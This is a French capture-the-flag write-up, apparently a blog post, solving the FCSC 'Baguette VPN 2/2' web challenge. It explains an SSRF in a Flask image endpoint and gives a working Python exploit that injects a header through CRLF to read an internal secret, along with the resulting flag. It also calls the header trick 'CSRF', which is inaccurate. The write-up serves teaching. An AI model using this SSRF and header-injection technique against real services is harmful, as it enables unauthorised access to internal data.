Solution de tacorabane pour Baguette VPN 2/2

web python

9 décembre 2023

Solution

D’après la description, nous avons à faire à un service web.

Démarrage du challenge

Si vous avez continué le premier challenge Baguette VPN 1/2, vous voici sur la suite.

Vous devriez avoir :

  • Le Docker instancié,
  • Le fichier Python.

Etude du fichier Python

Démarrons par l’étude du fichier Python.

part_code_flag

En regardant le routing de l’application Flask, nous voyons qu’il y a un endpoint /api/secret. Dès lors que vous tentez d’y accéder, le serveur vous dit que vous n’êtes pas identifiés avec la bonne adresse IP.

En effet, vous devez être 127.0.0.1, soit l’application elle même. Il y a une vulnérabilité connue des experts qui permet d’injecter du code arbitraire exécuter par une application web qui est SSRF (Server-Side Request Forgery).

Donc, cette vulnérabilité permet d’accéder à une URL via l’application web. Pour ce faire, nous constatons et nous rappelons qu’il y a une zone permettant d’accéder à une image sur le serveur.

vuln_image

Pratique ! Cette partie du code nous permet d’accéder à une image par méthode GET via l’adresse http://baguette-cpn-cdn donc 127.0.0.1.

Fabriquons notre requêtes.

  1. Endpoint de la partie vulnérable
  2. Utilisation de l’argument fn
  3. Utilisation d’une URL faussant l’image

http://localhost:8000/api/image?fn=.localhost:1337/api/secret

Maintenant que nous avons notre SSRF, il va falloir l’envoyer au serveur mais, nous avons vu qu’en plus de l’adresse IP 127.0.0.1 il faut que nous ajoutions une entête X-API-KEY: b99cc420eb25205168e83190bae48a12. Il va donc falloir utiliser une deuxième technique, CSRF. Dans ma solution je vais utiliser la technique de Python.

Exploitation

import requests

host = "localhost:8000/api/image?fn=.localhost:1337/api/secret"
payload = " HTTP/1.1\r\nX-API-KEY: b99cc420eb25205168e83190bae48a12\r\nlocalhost:1337"
url = "http://" + host + payload
r = requests.get(url)
print(r.text)

Puis on exécute.

$ pyhton3 exploit.py
{"secret":"FCSC{6e86560231bae31b04948823e8d56fac5f1704aaeecf72b0c03bfe742d59fdfb}"}